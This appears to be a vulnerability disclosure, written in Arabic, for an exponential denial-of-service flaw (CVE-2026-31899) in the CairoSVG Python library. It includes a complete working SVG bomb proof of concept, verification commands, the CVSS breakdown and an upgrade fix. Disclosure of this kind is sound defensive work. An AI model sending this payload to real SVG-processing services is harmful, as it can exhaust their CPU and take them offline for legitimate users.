
CVE-2026-31899: DoS الأسي عبر تضخيم تكراري لعنصر <use> في CairoSVG (CVSS 7.5 مرتفع)
الكلمات المفتاحية: CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG
CairoSVG رفض الخدمة الأُسّي (CVE-2026-31899) — حمولة SVG بحجم 1,411 بايت تثبّت المعالج عند 100% إلى أجل غير مسمّى عبر تضخيم عنصر العودي.
CairoSVG (حوالي 300 ألف تنزيل أسبوعيًا) هو محوّل SVG إلى PNG/PDF شائع الاستخدام في Python. تقوم دالة use() في cairosvg/defs.py بمعالجة عناصر بشكل عودي دون أي حدود للعمق أو العدد. مع 5 مستويات من التداخل و10 مراجع لكل مستوى، يؤدي ملف SVG صغير إلى 10^5 = 100,000 استدعاء عرض — وهو متغير من هجمات "billion laughs" الخاصة بـ SVG.
اكتشفها: Kai Aizen — SnailSploit تاريخ النشر: 13 مارس 2026 درجة CVSS: 7.5 (عالية) CWE: CWE-400 — استهلاك موارد غير مُتحكم به الحزمة: CairoSVG (PyPI) نوع الهجوم: رفض الخدمة الأُسّي الصلاحيات المطلوبة: لا شيء (بدون مصادقة)
دالة use() في cairosvg/defs.py (السطر ~335) تحلّ عناصر التي تشير إلى عناصر أخرى بشكل عودي. لا يوجد حد لعمق الاستدعاء الذاتي ولا ميزانية إجمالية للعناصر. يمكن للمهاجم صياغة ملف SVG صغير حيث تشير كل طبقة إلى الطبقة السابقة N مرة، مما ينتج O(N^depth) استدعاء عرض من مدخلات O(depth).
توجد الثغرة للأسباب التالية:
مع 5 مستويات وعامل تفرع يساوي 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
الإجمالي: 111,111 استدعاء عرض من مدخلات بحجم 1,411 بايت.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
الطريقة 1 — سطر الأوامر:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)
الطريقة 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
أي خدمة تقبل مدخلات SVG وتستخدم CairoSVG للمعالجة تكون معرضة للخطر:
| سطح الهجوم | مثال |
|---|---|
| توليد الصور المصغرة | رفع SVG → يقوم الخادم بالتحويل إلى PNG |
| توليد PDF | SVG مضمّن في مستند → CairoSVG يعرضه |
طلب واحد بحمولة 1.4KB سيثبّت مؤشر ترابط المعالجة إلى أجل غير مسمّى مع استهلاك ضئيل للذاكرة (لا يوجد قتل OOM لإنقاذك).
قم بترقية CairoSVG إلى الإصدار 2.9.0 أو أحدث:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| التاريخ | الحدث |
|---|---|
| 2026-03-09 | تم حجز CVE |
| 2026-03-13 | نشر الاستشارة (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | إصدار CairoSVG 2.9.0 مع الإصلاح |
Kai Aizen (SnailSploit)
⚠️ إخلاء مسؤولية: هذا المستودع لأغراض البحث الأمني التعليمي والمصرح به فقط. تم توفير إثبات المفهوم لمساعدة المدافعين على التحقق من تعرضهم. استخدمه بمسؤولية.
المقال الكامل لهذا المشروع، والمنهجية، والأبحاث ذات الصلة متوفرة على:
أُنشئ بواسطة Kai Aizen — باحث مستقل في الأمن الهجومي.
snailsploit.com · الأبحاث · الأطر · GitHub · LinkedIn · ResearchGate · X/Twitter
نفس الهجوم. ركيزة مختلفة.
| معالجة الصور الرمزية | صور SVG مرفوعة من المستخدم |
| عرض التقارير | رسوم SVG في تقارير آلية |
| خطوط CI/CD | أصول SVG تتم معالجتها أثناء البناء |
| المقياس | القيمة |
|---|
| ناقل الهجوم | الشبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الصلاحيات المطلوبة | لا شيء (PR:N) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| التكامل | لا شيء (I:N) |
| التوفر | عالي (A:H) |